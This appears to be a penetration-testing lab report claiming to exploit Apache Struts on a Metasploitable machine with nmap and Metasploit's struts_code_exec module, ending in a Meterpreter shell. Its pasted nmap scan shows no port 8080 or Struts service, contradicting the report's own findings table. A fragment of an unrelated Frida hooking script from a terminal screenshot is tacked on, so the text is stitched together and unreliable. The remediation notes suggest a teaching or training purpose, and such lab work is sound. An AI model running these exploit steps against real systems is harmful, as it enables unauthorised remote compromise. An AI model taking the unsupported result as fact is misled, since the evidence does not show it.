Vulnerability Exploitation

Objective

Exploit Apache Struts vulnerability to gain remote access.

Commands

nmap -sV -p- <victim-ip>
msfconsole
use exploit/multi/http/struts_code_exec
set RHOSTS <victim-ip>
run

Nmap Output Summary

Port	Service	Version	Status	Risk
8080	HTTP	Apache Struts 2.x	Vulnerable	Critical

Result

✔ Gained **Meterpreter shell**
✔ Confirmed remote system compromise
✔ Ability to read/write files & execute commands

Remediation

- Patch Struts immediately
- Disable access to management console publicly

Summary (100+ words)

The Apache Struts exploit provided full command execution rights. Attackers can deploy ransomware, steal database files, or pivot deeper into infrastructure. This vulnerability is known to cause catastrophic breaches including the Equifax incident. Immediate security patching is mandatory.

```
┌──(cybercheems㉿kali)-[~]
└─$ nmap -sV -p- --min-rate=1000 192.168.216.128

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-24 14:53 IST
Warning: 192.168.216.128 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.216.128
Host is up (0.00041s latency).
Not shown: 63794 filtered tcp ports (no-response), 1723 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
514/tcp   open  shell?
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
2049/tcp  open  nfs         2-4 (RPC #100003)
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
54611/tcp open  mountd      1-3 (RPC #100005)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
1 2 3 4                                                    18:29
cybercheems@kali: ~/Downloads
File  Actions  Edit  View  Help
  GNU nano 8.3                        /home/cybercheems/Downloads/capture.js *
[*] Gadget attached. Waiting for button press ... ");

function safeHook(name) {
    var addr = Module.findExportByName(null, name);
    if (addr) {
        console.log("[+] Hooking", name);
        Interceptor.attach(addr, {
            onEnter: function (args) {
                try {

^G Help        ^O Write Out   ^F Where Is    ^K Cut         ^T Execute     ^C Location    M-U Undo
^X Exit        ^R Read File   ^\ Replace     ^U Paste       ^J Justify     ^/ Go To Line  M-E Redo
```